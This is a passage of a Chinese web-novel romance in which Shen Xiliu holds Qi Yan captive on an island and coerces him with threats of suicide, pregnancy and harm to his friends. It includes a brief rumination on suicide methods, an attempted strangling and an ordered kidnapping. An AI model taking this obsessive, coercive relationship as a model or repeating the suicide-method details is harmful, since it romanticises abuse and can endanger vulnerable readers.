锁链确实难打开,沈溪流只给了他两个办法,但祁厌任何一个都不想选,也不信任沈溪流没有备用钥匙。 毕竟如果出了什么意外,需要挣脱锁链的时候,那他和沈溪流就只能活一个,祁厌认为没有任何一个白痴设计师会做出这种愚蠢的设计。 拿回自由是一件很简单的事情。祁厌知道的,喝醉酒后的沈溪流很听他的话,过去的三次醉酒经历都留下深刻的印象,他本来不想再继续利用那样的沈溪流,但继续这样下去,是错误的。 祁厌最初确实太自以为是了,总认为自己能够帮助沈溪流,可昨晚惊醒以后,他就知道自己耗不下去了。 如果继续待在岛上,没有药维持清醒,祁厌无法确定自己会做什么事情,或许他会在失去理智的时候,做出伤害沈溪流,伤害自己的事情…… 所以还是违背约定了。 眼见着已经九点五十分,海浪翻滚着拍打船身,天空雾蒙蒙一片,就连远处的海洋都显得汹涌,祁厌皱了皱眉,很平静地询问船员:“今天能够准时离开吗?” 对方不知道他的身份,只以为是沈溪流的朋友,突然有事要回去,很肯定地回答他绝对没有问题。 只要没问题就好,祁厌还没放下心,看着船员们做好准备,扬帆起航,货船渐渐远离海岸边,与小岛的距离拉开,原本显得无比巨大的岛屿远远看去,变成微不足道的黑点,周围的海洋仿佛随时都能够将其吞没。 这下子,应该可以了吧。 祁厌终于松了口气,他给沈溪流灌了不少酒,昨晚又做了很久,直到过了凌晨,沈溪流昏迷不醒才停下来。 酒醉之后又纵欲过度,不出意外的话,沈溪流一定会睡到十点以后。等他醒来,发现他已经离开,大概也做不了什么事情吧? 虽然岛上还有一艘游轮,但就算是沈溪流想要乘船追人,估计也没有什么用,等回到岸上,祁厌也不在意他再来找麻烦。 放下心以后的祁厌回到船里,准备好好休息一下,毕竟他为了筹备这次的离开,一夜未睡,现在差不多可以暂时休息了。 事实证明,人是不能太自以为是。 岛上的游轮的确追不上,偏偏祁厌忽视了岛上还有直升飞机,等反应过来的时候,沈溪流已经追了过来。 看着狼狈闯进船舱的人,被直升飞机的声音吵醒的祁厌有些意外,但是更加觉得可笑,他抓了抓头发,气笑了:“沈溪流,你他妈的有病吧?电视机看多了吗?这都要追上来?” 祁厌是真的觉得很滑稽,顾燕行和江与青没玩这么狗血的剧情,他先玩上了是吧?! “祁厌!”沈溪流也是快气疯了,彻底抛弃自己的礼仪,恨恨地盯着他,“你明明都答应我了!说好的要陪我一个月,为什么现在就逃走?!说好的一个月,为什么要离开?你又在灌醉我,骗我!” 他几乎快要哭出来,不知道怎么形容醒来时没看见祁厌的恐慌,沈溪流醒得太晚,十一点过才醒过来,当找不到祁厌,却看见被他丢在地上的项圈时,连心脏都快要麻痹了。 等反应过来以后,沈溪流顾不上其他的,连澡都没有洗,胡乱穿着皱巴巴的衣服,立即打电话让人准备,就这样狼狈地追了出来。 他发誓,他这辈子都没有这么丢人过! “你问我为什么?”祁厌被吵醒以后,整个人头疼欲裂,看见他这幅模样,嗤笑一声,“沈溪流,你把我关在那种地方,我想要离开,不是很正常的事情吗?” 祁厌在后悔,如果当初别去招惹沈溪流,是不是就不会变成现在这个样子了?不签合同,不去利用,不去报复,不去纠缠,不去同意…… 他本来有好多机会的,可是每一次都选了错误的选择! 祁厌回想起来每一次错误选择,简直后悔到想要杀了自己…… “可是你明明答应过我的!”沈溪流没看见祁厌的挣扎,紧紧抓住他的手,神情夹杂着一抹疯狂,眼神冰冷阴鸷,阴戾如毒蛇般死死缠住祁厌,让他无法挣脱,“祁厌,你不能离开!你绝对不能离开!我们说好一个月,你不能毁约!如果要毁约,那你就杀了我,否则我一定不会放你离开!” “沈溪流,你非要闹得这么难看吗?”祁厌想要拉开他的手,却连力气都用不上,浑身都在隐隐作痛,连呼吸都变得困难。 “我当初给你选择了!要么留下来陪我,要么杀了我离开,是你自己选择前者!”沈溪流眼眶泛红,表情依然偏执冷漠。 为什么给了他希望,现在又毫不留情地收走!沈溪流不想相信,也不敢相信祁厌居然会做出违约的事情! 明明答应他了!明明答应他了!明明答应他了…… 【吵死了。】 眼见着他们好像又陷入僵持的状态下,一道低低的嘲讽声响起,让祁厌一怔。 【看吧,都怪你自作多情,优柔寡断,又闹得这么难看了。】 祁厌听着自己说话,他的精神在缓慢抽离躯壳,周遭的一切清晰又朦胧,却感觉自己是个旁观者,沈溪流在对另一个“自己”发疯。 “他”盯着沈溪流,幽幽地开口:【拒绝人要狠一点,面对这种人,更是没有必要留面子。】 伴随着声音响起,祁厌突然感觉头不疼了,眼前的沈溪流还在发疯,可却变得无比遥远又近在咫尺,连颤抖而疯狂的声音都变得模糊了。 他看见“自己”缓慢地伸出手,只是轻轻抓住沈溪流的手腕,就将他的手轻松拉开。 毕竟只是一个omega,哪能和正常的alpha比力气,就算他生病了,沈溪流也无法控制住他。 “祁厌”稍微一用力,沈溪流就瞬间疼得说不出话,连脸色都变得煞白,毕竟他没有留情,而沈溪流的右手受了枪伤,未曾好转,连绷带都染红了。 当然,祁厌的右手也疼,只不过感觉不到了。 “祁……祁厌?” 沈溪流疼得流冷汗,连身体都忍不住颤抖,他紧紧盯着眼前的人,有一种诡异的陌生感,仿佛站在面前的人不是祁厌一样。 “祁厌”看见他怔住的表情,缓慢地微笑起来,语气轻飘飘,透着随意懒散:“哦,那你就去死吧。” “别挡我的路,别弄脏我的手,自己动手,不可以吗?” 第93章 前世 发疯 沈溪流简直不敢相信, 这样的话居然会从祁厌的口中说出,整个人都彻底呆滞住了。 “……” 祁厌也愣了一瞬,但他很快清醒过来, 他拧紧眉头,松开沈溪流的手, 不断深呼吸, 让自己平静下来。 “……沈溪流,你应该知道拿自己的生命来威胁别人,是一种很糟糕的手段, 而且只有对方在意你的生命时,才会有用。” 冷静,冷静, 冷静! 祁厌拼命忽视大脑里响起的声音, 只要回到家里,就能拿到药,到时候一切都会好的! 不能再继续这样纠缠下去了。 祁厌用冷漠的语气说:“别总想着让我动手,杀了你,就算法律不会制裁我,我也会受到良心折磨。还是说, 你打算用这样的手段, 让我记你一辈子?” 看见沈溪流脸上闪现过的一抹被戳中心思的不堪, 他笑得有些讽刺。 “……” 沈溪流的手指下意识蜷缩了一下, 右手拉扯到伤口, 阵阵刺痛让他终于冷静了下来,他好像意识到了无法继续用生命挽留祁厌,心底痛苦却又只能强忍着,依然不愿意放弃。 沈溪流凝视着祁厌, 即使外表有些狼狈,但他依然挺直脊背,语气平静,却有些颤抖:“的确是有这个想法。祁厌,我不是和你在开玩笑,现在跟我回去,只剩下最后十天了,只要再陪我十天不行吗?” 十天,他真的只要十天! 假性标记马上就可以清除得差不多了,十天的时间肯定够他怀上祁厌的孩子! 只要有了这个孩子,到时候祁厌绝对不会像现在这样离开他。沈溪流拼命地控制着自己逐渐失控的情绪,他们还可以回到过去的,一定可以!这一次他不会再做错任何事情,也不会再伤害祁厌,只要祁厌给他一个机会…… “没有必要再待着了。”祁厌神色冷淡,打量着沈溪流,好像看穿他的心思了,有些意味不明地道,“沈溪流,你不会以为我不知道你的打算吧?” “那么多天过来,你任何避孕措施都没有准备,是想要怀上我的孩子,再用他(她)来威胁我对吧?” 听到这话,沈溪流心脏一紧,连大脑都宕机了。 祁厌一看他的样子,就忍不住叹气:“沈溪流,你现在真的是逐渐变成我最讨厌的人了。”用孩子拿捏他的父亲吗?这种手段和易鸿立当初威胁夏云惬的时候有什么区别? 还真是可笑,兜兜转转,仿佛又回到原点,一不小心就重复了上一辈人走过的烂路,真的是让人相当厌恶。 “孩子不是你利用的工具,别让他(她)在这种糟糕的环境下诞生,否则只会给自己增加痛苦。”祁厌淡淡说道,“我劝你别想了,我不会有孩子,很早之前,我就结扎了。” “!” 结扎? 沈溪流瞳孔一颤,表情惊愕,他下意识将手放到自己的小腹,所以这就是他一直以来都没有怀孕的原因吗? “为……为什么要做这样的事情?!!” 心底一片慌乱,沈溪流差点哭出来,他始终不愿意去想是祁厌的问题,一直怀疑是自己的病和身体状况导致他怀不上祁厌的孩子。明明当初合约期间给祁厌检查的时候,并没有…… 啊,当时的体检还没有细致到这种地步,他根本不知道祁厌是否结扎。 没想到自己做了这么久的无用功,沈溪流愣在原地,仿佛不知道该怎么办了。 “……大概是因为我不打算有孩子吧,生命的分量很重,我无法再承担一条命了。” 祁厌看着他惨白的脸色,说出了残酷的事实:“所以你知道了吧?即使我们再继续待下去,无论待多久,你想要利用的‘工具’都不会出现。” “……” “不行!” 沈溪流咬了咬下唇,抬眼看他,眼神阴冷,“那就回去动手术。” 他不要放弃,他不可能放弃!祁厌绝对不能离开他!无论如何都不可以! “既然知道了问题就可以解决,祁厌,我不会让你离开的!”只要一回去,他就立马打电话派人过来,或许明天,最迟后天就能给祁厌动手术,手术需要一段恢复期,等祁厌恢复以后,他就能怀上孩子,只要有了羁绊,到时候祁厌就不会离开他了。 “如果你非要离开,我还是那句话,除非杀了我……” “够了。” 祁厌有些没想到他居然偏执到这种地步,眼见着沈溪流又要用生命威胁他,打断道:“沈溪流,别拿死亡来糟践自己,威胁别人,没有用的。生命很长,活着的人会继续向前走,只有死人永远停留在原地,也终将会被抛弃在过去。” “如果你真的非要去死,我不会为你停留在这里。” “别把自己看得太重要,你不在了,我的人生反而会变得更轻松。我长这么大,经历过的糟糕事情足够多了,或许没有你的干扰以后,我说不定未来还能遇到更好……” “别说了!别说了!别说了!” 沈溪流听不下去了,他怕自己不受控制地发疯!原本已经想好了,如果祁厌真的要离开,再也阻止不了,那他就干脆去死吧! 大脑已经在考虑死亡的办法,沈溪流想了很多种,吞枪自杀是一种好办法,但不够惨烈。或许他可以吃些安眠药,再割掉动脉,躺进温水里,在睡梦中死去,流出的血液足以把水染红溢出,这样的死法不难看…… 可是这样的想法,在听见祁厌的话以后彻底被打散,沈溪流根本不敢去想,如果他就这么干脆地死了,那祁厌以后是不是会彻底忘记他,和别人在一起?甚至和对方生下属于他们的孩子? 只是想想,沈溪流就几欲崩溃,疯狂的嫉妒在心底肆意燃烧着,将他的理智焚烧殆尽,连灵魂都被丑陋的嫉恨扭曲到面目全非:“祁厌,你别逼我,你别再逼我了……” 眼泪不受控制地掉下,沈溪流狼狈又痛苦地说着,为什么会变成这样,明明我们不该走到这种地步的!难道我犯下的错误真的不能弥补吗?我只是做错一次,也在拼命补偿你了,可是为什么依然无法挽救? 沈溪流不明白,他真的有这么糟糕吗?已经烂到祁厌连和他在一起都接受不了。他知道自己过去很过分,所以重新来过以后,无论祁厌对他做什么,他都没有反抗。 曾经践踏过祁厌的尊严,他也任由祁厌还回来了;成了伤害他右手的帮凶,现在他也还回去了;除此之外,他还欠祁厌什么吗?还有什么需要赎罪吗? “……你并不欠我什么。” 祁厌看着他疯狂地质问自己,其实沈溪流嘴里的这些事情都没那么糟糕,如果他们之间没有隔着生命的代价,或许沈溪流只要向他认错道歉,解释清楚“替身”的事情,他就能够原谅对方…… 不过现在想这些都没有用了。 祁厌说:“别把自己活得像个疯子,你该回去了。” “……” “……” “……祁厌,你说得对。”沈溪流看着他,笑了起来,带着扭曲偏执的笑容,“我的命,确实无法威胁到你了。” 他伸手从摸了摸西装外套,从里面拿出一样东西,对着祁厌伸出手,缠绕着右手掌心的绷带沾着斑驳血痕,手心里的红色宝石耳钉无比耀眼夺目,比滴落的血迹更加璀璨——那是祁厌在游轮上买给江与青的耳钉。 看清楚那件东西时,祁厌表情一僵。 “呵呵,我也不想做这种事情的,是你先逼我。”沈溪流笑得很轻,晦暗的眼神流露出一抹阴鸷,“十几万的东西说买就买,你哪来的钱?” “是拿我给你的钱,买礼物送给江与青的吧?真亏你做得出来。”沈溪流真是受够了,一步退步步退,凭什么他要被逼成疯子? “好歹,那也算是卖身钱吧。”真是恶心人的举止。 “叮当!” 看着祁厌僵硬的表情,沈溪流手掌一翻,红宝石耳钉直直坠落在地,发出清脆的声音。 他漠然地踩上去,眼神锐利如毒蛇般阴狠,傲慢的神情极具攻击性,让人不敢直视,声音却很淡:“祁厌,你最好和我回去,否则我不敢保证不对其他人动手。” 他也不想做这么绝,是祁厌先做得这么狠。 “沈溪流!” 心中的暴戾一下子被点燃,祁厌维持了许久的冷静面具终于彻底被打破,连理智都失去了,藏在深处的困兽逃脱出来,肆意地宣泄着内心的疯狂,他控制不住自己。 等回过神来,手已经不受控制地掐住沈溪流的脖子,不断地用力着,本就苍白的脸色被掐得苍白,眼底却尽是一片极端的快意。 “咳咳……哈,对,就这样咳咳,杀了我哈……” 沈溪流就像个疯子一样,明明都被掐得快死了,却仍然笑个不停,一副无比愉悦的模样。 “!!!” 等祁厌反应过来,惊惶收手时,沈溪流无力地靠着门板滑落在地,他捂着自己的脖子,又接连咳嗽好几声,病态的脸上浮现一抹不正常的潮红。 “……哈哈,怎么不继续了?不怕我伤害你身边的人了吗?祁厌,你要是杀了我,先前的话依然算数,继续呀?” 沈溪流仰着脸看他,带着神经质的笑容,漆黑的瞳孔阴冷偏激,尽显疯狂之意。 “死在你手上,也是个不错的选择!现在杀了我的话,还有离开的机会,不杀的话,你以后永远都离不开我了!” “……疯子。”祁厌盯着他,吐出两个字。 目光落在白皙脖颈上的指痕,他的左手在不断细微颤抖。 “他们”说得对,他该死的,他早该死了…… 或许先前还有挣扎的余地,但是当沈溪流撕去伪装以后,祁厌就再也没有机会了。 无论是哪一方面,金钱、权力、地位等等,他都斗不过沈溪流,只能任由他掌控,除非沈溪流想要放开,否则祁厌这辈子都无法逃脱他的手掌心。 货船终究是倒回去了。 沈溪流的心情很好,微笑着对祁厌说道:“我们确实没必要闹得那么难看,祁厌,你该高兴的,我愿意给你生个孩子,这可是我从来没有想过的事情……” 祁厌垂着眼帘,没有说话,他看着越来越近的小岛,有种挣脱不开的窒息,甚至没有注意到沈溪流话说到一半,突然停了下来。 “……” 才离开不久的小岛好像发生了一些变化。刚从货船下来,就一眼看见不远处站着的人时,沈溪流的表情瞬间变得无比冷漠。 第94章 前世 丢人现眼 “沈清泽, 为什么你会在这里?还变成这个样子?” 沈溪流皱着眉头打量他,说实话,沈清泽现在的样子有些狼狈, 瘸了一条腿,额头上缠着绷带, 脸也破相了, 完全就靠一旁的保镖扶住。 他比沈溪流看起来更加糟糕,完全没有往日在实验室里严谨自信的模样。 想到沈云殊回来了,沈溪流心下一沉, 按照他的性格,肯定已经将所有事情弄清楚了,想到自己之前对沈云殊的算计, 对方现在一定会想方设法给他设绊子。连沈清泽都过来了, 那沈云殊应该也会过来看他笑话…… 眼见沈清泽迟迟不开口,沈溪流问道:“你是跟着沈云殊过来的?” “……不。”沈清泽不知道为什么,不敢直视沈溪流,他的目光闪烁,瞥了一眼站在沈溪流身后不远处一脸冷漠的祁厌,就飞快移开视线。 他有些压抑地开口:“所长没有过来, 我是被家主带过来的。” 听到这话, 沈溪流神情微变, 心里被塞满各种事情, 完全没有注意到沈清泽的表情变化:“舅舅也来了?” 居然是舅舅过来了?沈云殊反而没有过来?这不对劲!沈溪流察觉到不对, 但还没有想明白,一旁的祁厌对他们的交流没有兴趣,脚步不停地朝着别墅走去。 沈溪流的注意力立即被他带走,下意识抓住祁厌的手:“祁厌, 等等!” 不能让舅舅知道他们的事情!绝对不行,否则舅舅肯定会阻拦他,他必须赶紧想个办法,千万不可以让舅舅发现他和祁厌已经闹到这种地步…… “祁厌,你没事吧!!” 然而,还没等沈溪流想好该怎么做,通往别墅的道路传来了急切的声音,还没看到对方,只听见他的声音,沈溪流的心脏就剧烈跳动一下! 祁厌也明显愣了一下,他回头看了沈溪流一眼,眼神相当恐怖,压低声音:“沈溪流,你耍我呢?” 刚才在船上的威胁仍然历历在目,想到那被踩碎的红宝石耳钉,祁厌对沈溪流没有任何信任,包括所有沈家人!他几乎是第一时间怀疑对方是故意把人带过来,用来威胁他。 沈溪流急忙解释道:“不,祁厌,我没有……” 祁厌甩开他的手,压抑着内心的剧烈波动,表情微微扭曲之后,还是露出了一个寻常诧异的表情,几乎看不出他心底的想法。 “江与青,张衡一,为什么你们会来这里?”祁厌快步走了上去,眼神瞥向落后一步的张衡一身上。 张衡一微微摇了摇头,祁厌放下心,江与青大概率还不知道他和沈溪流之间的纠葛,那就还不知道顾燕行的死与他有关…… “祁厌,你还好吧?啊!我的天呐,你的脸上怎么这么多伤痕?”江与青几乎是跑过来,看得祁厌眼皮子一跳,就想让他走慢点,话还没说出口,就被江与青狠狠抱了一下,然后被抓着双臂,一脸痛心疾首地打量起来! “沈溪流,你也太过分了吧!你知不知道打人不打脸,怎么可以破坏我男朋友的脸!这么好看一张脸,堪称艺术品,你都下得了手?也太狠毒了吧!就算他从你手上拿到易家的东西,你也可以换种手段啊!” 江与青一把将祁厌拉到身后,目光直视着眼神危险的沈溪流,依然不退让,将比他更高的alpha护在后面:“沈溪流,我们都是文明人,最好别随便动手。你害他毁了一只手,他不过是拿了一样东西而已,你有必要把人带到这种鬼地方算账吗?” 真是让人恶心!沈溪流一听见他说的话,就想吐,江与青算什么东西? 他知道个什么?他什么都不知道就想要来对他和祁厌指手画脚,这让沈溪流无比厌烦,祁厌为什么非要喜欢这种人?明明那么蠢,他居然还暗恋这么多年,而且…… “……” 沈溪流看着紧张的祁厌,神色愈发冷冽,自从江与青出现以后,祁厌的目光就一直落在江与青身上,就算移到他身上,也是用戒备、警惕的眼神。 这算什么啊?就这么害怕他对江与青动手吗?沈溪流意识到越多,他心里的妒火就愈发疯狂,恨不得让江与青现在就彻底消失在这个世上。 “江与青,别在这里胡言乱语了!你知道些什么?”沈溪流受够了这个艺术白痴,冷冷开口,带着一丝报复的意味,“我劝你最好别来指手画脚,我和祁厌的关系,可不是你想象中的那样,我和他……” “沈溪流!”祁厌开口截住他的话,只叫住他的名字,没有接着往下说,他的眼神充满警告,提醒沈溪流,别让江与青知道他们的烂事! “……呵。”沈溪流嘲讽一笑,祁厌,你就这么怕我把我们之间的事情告诉他吗? “与青,你也别担心,沈溪流并未对我动手,事情不是你想象的那样,我脸上和手上的伤都是我自己不小心弄伤的,和沈溪流无关。” 祁厌解释道,他不想江与青和沈溪流正面对上,江与青现在还怀孕,沈溪流精神不稳定,不管是谁出事,大概率都会闹得一发不可收拾。 “行了,祁厌,你不用帮他掩饰,别怕!”江与青却没有轻信他的话,沈溪流都把人劫走了,怎么可能什么事情都没有做? 猜测祁厌是担心他畏惧沈家的势力,江与青一把抱住他的手臂,直直盯着沈溪流,“沈溪流,我再次提醒你一次,这是我男朋友!你对他动手,就是对江家人动手,我今天过来,一定会把人带走!而且,我告诉你,我已经……” 江与青的话还没说完,就忍不住打了个冷噤。 “……” 当沈溪流看见江与青抱住祁厌的手臂,还说出这样的话时,他大脑里名为理智的弦瞬间崩断了,冰冷病态的面容微微扭曲,漆黑的眼眸幽深危险如潜藏在黑暗里的毒蛇,仿佛已经锁定了猎物,目光使人不寒而栗。 他勾起唇角,带着捉摸不透的笑容,轻轻地朝他们走过去:“是吗?你‘男朋友’吗?真是有趣的说法呢。” 只属于他的alpha,怎么可能成为别人的男朋友呢?沈溪流觉得真有趣,他不喜欢别人碰自己的东西,祁厌永远只能是他的! 原本只是假意威胁一下祁厌,并不打算真的对祁厌身边的人动手,毕竟他太清楚祁厌有多么重视身边人。就连那对红宝石耳钉,也并非是从江与青身上拿到,而是故意找的类似品,以防不时之需,本以为不会用上,没想到终究走到这一步。 不过既然都来了的话,那就干脆一些,就让江与青…… “沈溪流,你想做什么?”祁厌太熟悉沈溪流了,一看到他的眼神,就下意识将江与青保护在身后,阻止沈溪流继续靠近江与青。 “……真是很强的保护欲啊。”沈溪流虽然穿得狼狈,但姿态倒是一如既往的优雅闲适,就连笑容都很轻。他看着祁厌紧张的样子,心底不悦,却微笑着说,“别那么紧张,我没想做什么,只是想邀请他们留下来做客而已。” “……谁要留啊,我们马上就走!” 江与青觉得现在的沈溪流太危险,这座私人小岛一刻都不能多待。 “哦,那也要你们走得了才行。”沈溪流轻飘飘地说道。 张衡一眉头紧皱,出声提醒:“沈先生,非法拘禁他人和非法剥夺他人人身自由,是严重违法的。” “溪流哥,先等一下,我有一件很重要的事情要告诉你……”沈清泽的表情也终于产生了些许变化,他担忧地瞥了一眼神情难看的祁厌,让保镖扶着他过去,“拜托了,我们先单独谈一下,这事和祁……” “你们好吵。”沈溪流有些厌烦这些无关人员,他直接让在一旁等着的保镖把人全部先带回别墅。祁厌和张衡一考虑到江与青的情况,不敢随便起冲突,也没敢让保镖接近他,只好护着人,被保镖围着朝别墅走去…… 然而,他们才刚穿过庭院,就看见了站在大门处的人,漆黑长发随意地侧放在左胸前,披着宽松的开衫长外套,表情看不出喜怒,唯有一双诡异绮丽的金色重瞳,神秘深邃而摄人心魄,仿佛一眼就能看透人心。 “沈伯父。”而江与青看到他那一刻,心底暗松口气,表情冷静地盯着他,开口道,“我们之前说好的事情还算数吧?” 为了找到祁厌,江与青这次花费不少功夫和关系,才得以拜托沈家主,这么厉害的人,应该不会临阵倒戈,偏向自己的外甥吧? “……” 祁厌只看了一眼,就垂下眼帘。他与沈家主没有什么交际,只见过对方两面,却也知道对方相当疼爱沈溪流,如果沈溪流打死不放他们走,沈家主未必会管。 不过祁厌并不在意,他知道沈溪流的执念是自己,只要他留下的话,江与青和张衡一未必会出事…… “果然。”沈溪流微微抬眼,似笑非笑地开口:“也只有舅舅你才能找到,并且带他们过来了,不知道江与青是用什么手段,拿什么交换才让舅舅答应的?” 到了这种地步,沈溪流已经什么都不在意了,他绝对不会让任何人带走祁厌,除非他死! “……没有条件。”沈家主缓缓开口,“这一次不是交易。” “?!” “沈伯父,您这话的意思……难道是想要毁约?”江与青惊愕地睁大眼睛看他,随即眉头紧皱,表情变得严峻起来。 “别紧张。”沈家主让他放心,“我会让你们安全离开这里,飞机已经准备好,再过一会儿,你们就离开吧,这次给你们添麻烦了。” 他说着,看向表情惊疑不定的祁厌,带着歉意道:“祁厌,尤其是你,我家溪流给你带来太多困扰,我知道现在说什么都无法补救,只能先代他向你道歉,之后无论如何,我们沈氏都会想办法弥补……” “舅舅!”沈溪流冷声打断沈家主的话,夹杂寒意地开口,“你别插手我们的事情!这只是我和祁厌的事,你别说这些废话。” “……沈溪流,我记得我教过你,不要随便打断长辈的话吧?” 沈家主闭了闭眼,伸手抚了抚额,好像有些头疼一样,他那双诡谲的金色重瞳紧盯着沈溪流,带着一种无法形容的复杂情绪。 他仿佛看透了沈溪流内心的狼狈与疯狂,明明以往他的外甥总是一副冷淡傲慢的清高模样,现在却丝毫看不见过去的影子,更像是一个没有理智,全然被情绪操控的疯子。 这真的还是沈溪流吗? 沈家主缓慢开口:“沈溪流,适可而止吧。” 别那么丢人现眼了,继续闹下去,对谁都不好。 第95章 现世 真是恶心 “仔细说起来, 祁厌,你最近的状态不对劲。” 沈云殊坐在办公桌后,翘着长腿, 手指转动着黑色签字笔,有些玩味地开口问道:“难不成是因为你的项目进入临床试验阶段, 所以开始放轻松了吗?还是说我那个大外甥太糟糕了, 给你添了不少麻烦,以至于连在实验室都无法专心?” “所长,别开玩笑了。”祁厌原本正在检查沈溪流的身体报告, 听到沈云殊的话,露出无奈的表情,“是我自己最近的精神状态不太好, 和你说的都没有关系。” 不知道为什么, 他最近每天都在做噩梦,醒来的时候,心口发闷,浑身冷汗,连大脑都晕晕沉沉,难以控制自己的情绪。 因为两个卧室都给外公外婆和妈妈用了, 所以祁厌原本准备继续睡在家里的客厅, 但沙发睡得不够舒服, 而且梦游的话, 可能会不小心误伤家人。 当沈溪流明里暗里地提醒他可以去对面睡时, 祁厌就没忍住搬到男朋友家的客卧,反正都是对象了,暂时蹭一下客卧,应该是没问题吧? 之前又不是没住过, 易感期和喝醉酒后也睡在一张床上过,亲也亲了,抱也抱了,临时标记也干了,除了最后一步,也没什么了。只是考虑到家人就住在对面,忍不住控制形象,避免被误会…… “是吗?”沈云殊没有继续表达看法,饶有兴致地问另一件事,“说起来,你前段时间好像去见过我哥……嗯,沈溪流的正牌舅舅了吧?怎么样?我们沈家的老大是不是有点喜欢装逼,不好相处?” “……” 真是好熟悉的语气,游弋也喜欢用这个调调来说他爸,没想到沈云殊也这样。这样一看,与其说游弋是沈家主的孩子,倒不如说更像是沈云殊的孩子,祁厌听游弋说过,他的小表弟,从某种角度来看,比他更像他爸…… 想到这里,祁厌一阵沉默,问道:“所长,你这话听起来和游弋一个样子,该不会你们抱错孩子了吧?” “你狗血剧看多了吗?”沈云殊只是微微挑了挑眉,仿佛一点都不意外他突然说出这句话。 “虽然人人都说我儿子更像我哥,我哥的儿子更像我,但是你们是不是得注意一下他们的年龄,我儿子才十三岁,游弋今年十八岁了,我们跨时空抱错孩子是吧?” “算了,不瞎扯了,给你放两天假,好好休息一下,你这精神状态糟糕,进入实验室,我都怕你炸了我的宝贝研究所。”沈云殊让祁厌赶紧拿了东西就走。 祁厌没有多待,转身离开了这里,等关门的声音响起,沈云殊才摸了摸下巴:“避重就轻吗?” 他思索了一瞬,拿起桌上的手机打电话,对面好半晌才接。 “要钱的话,去找溪流,他才是你研究所的负责人,别越过他来找我,好了,再见。” 对方刚一接电话,就熟练地快速说完,准备挂电话,就被沈云殊连声叫住:“哎,别挂这么快,我不是来要钱的!” 一听这话,对面正要挂电话的沈家主一顿,放慢节奏,给他机会:“不是要钱?那行,说说看?别是无用的话。” “是这样的。”沈云殊靠着椅背,身体和椅子一起往后倾斜,把长腿靠到办公桌上,“我想问你,之前是不是见过祁厌了?感觉怎么样?没有表现出一副豪门世家贵太太的傲慢姿态吧?甩钱让人离开?” “……” 对面一阵沉默。 沈家主说:“再见。” “别别别,开玩笑,开玩笑。”沈云殊笑了两声,神情变得正经起来,“不和你瞎扯了,我想知道沈溪流和祁厌究竟是怎么一回事?” 他的声音逐渐变得冷静,伸手拉开办公桌的抽屉,拿出里面的文件夹,翻开几页:“我原本以为他们两个只不过是刚认识不久,沈溪流就犯恋爱脑的病了,他不应该对祁厌有那么深的执念,好几次发病进医院……” “毕竟我好歹也兼任他的‘医生’吧,就稍微追查了一下,没想到追溯起来,居然还能追溯到十六年前。”沈云殊有些感慨,十六年啊,这么长的时间,真的是哪里都写着不对劲。 他盯着文件夹里祁厌小时候的两张照片,左边这张没有什么特殊的,顶多就是可爱精致一些,还没长开的五官已经可以看见长大后的帅气模样,那双桃花眼格外纯真,笑得阳光灿烂。 而右边这张,明明和左边这张有着一模一样的脸,却给人截然不同的感觉,本该纯真的脸蛋冷漠厌烦,带着一抹很深的疲惫…… 同一个人相同时期的照片为什么会有这么大的变化呢?这两张照片都是出自于七岁的祁厌,相隔不过短短几个月,还没到一年。 原先考虑到他家当时出现的问题,沈云殊以为是易鸿立做事太绝,把他们母子赶尽杀绝,导致小孩子有了心理阴影,但是现在再看,总觉得有些不对。 “如果不是最近沈湘婷那个叫什么的男朋友家出事了,我发现一些细节,说不定都没发现里面还有你的手笔。”沈云殊翻开下一页,“当初是你帮他们隐藏踪迹,帮他们找到亲生父母,甚至还让何笙过去帮夏云惬治病?” “……云殊。”沈家主叫住他的名字,“你得改改你这打破沙锅问到底的习惯了。” 沈云殊不以为然:“这辈子都改不了,我喜欢实事求是,只有弄清楚事情,才能找到正确的处理方法。” “医生都要对症下药,我研究他这么久,却弄不清楚他的病源,你不觉得太搞笑了吗?” “你这话听起来更搞笑。”沈家主淡淡道,“哪有医生往死里调查病人的所有经历,现在连他的心事都要钻研清楚,怎么,克里斯蒂安的心眼不够你钻研了吗?” “……” 双方终究是太熟悉,沈家主一句话轻轻松松哽住沈云殊:“……挂了。” “为什么要挂?”沈家主慢悠悠道,“我还想要和你聊聊那边的动向,溪流给了我一个好主意,可以把你空投过去。难得你这么爱打听各种事情,我听说那边终于结束了,孩子他爹很安全,也很忙碌。不过以他的心眼数量来看,要是现在送你过去,估计克里斯蒂安依然能乐呵呵地给你创造很多钻研的机会……” “嘟嘟——” 没待对面继续说,沈云殊挂断电话,熟练地拉黑,平静地拨打另一个电话:“喂?我让你们找的人找到了吗?” “还在出差?” 听着对方说的话,沈云殊皱了皱眉:“不管了,直接把人绑回来,我后天就要见到他。” “无论用什么手段,记住,顶多到后天。” …… 说是放假两天,但自己的项目哪有真放假,祁厌依然正常去学校、研究所。见状,沈云殊也没有说什么,只是不经意地问了几句话。 “翟医生?”听到沈云殊的话,祁厌有些诧异,“原来所长你也认识他吗?” “当然认识,毕竟是国际知名的大人物。”沈云殊笑得意味深长,给人一种怪异感。他没有干扰祁厌做事,只是随便问了一句,直到当天的研究结束以后,才稍微做了点事情。 明明好像没什么,但是等祁厌回到家,和沈溪流坐在客厅时,对方注意到有些不对劲:“祁厌,你在想什么?” 沈溪流有些担忧地靠近他,仔细地观察着祁厌的表情,从回来到现在就一直皱着眉头,好像被什么事情困住了。 “没什么,就是在想今天实验时,遇到的问题。”祁厌习惯性地对他笑,没有露出忧色,这是沈溪流很熟悉的表情,祁厌对在意的人总是这样,不愿意让他们为自己担忧。 原先,祁厌也是这样对他,但后来随着关系逐渐恶化,他就再也没有这样对待他。 现在,祁厌甚至反过来安抚他道:“别露出这么担心的表情,我没事的。真要说有事,我还想问你一件事情,那间房间为什么不能进去?” 祁厌伸手指了指某间从未打开的房间,很早就好奇了,但是最开始的他们不是很熟悉,所以没有问,后来随着关系渐进,也考虑到尊重对方的隐私,所以没有过多询问。 “蓝胡子的房间吗?”祁厌琢磨道。 沈溪流心底一紧,但表情没有紧张:“……你这是在故意岔开话题,明明是我在问你。” “好奇的话,你就自己拿钥匙去看,钥匙就在我房间的抽屉里。”沈溪流云淡风轻地说,“现在应该到你回答我的问题了。” “你这样一说,更有蓝胡子的感觉了。”祁厌笑笑,“别担心,真的只是实验上的问题,所长的助理不是被你开了吗?还有好几个研究人员也不在了,所长说这事是你的责任,所以我得多帮忙一些……” 他笑着说在研究所的事情,仿佛真的没有什么问题,沈溪流一听到有沈云殊的事情,就下意识皱眉头。 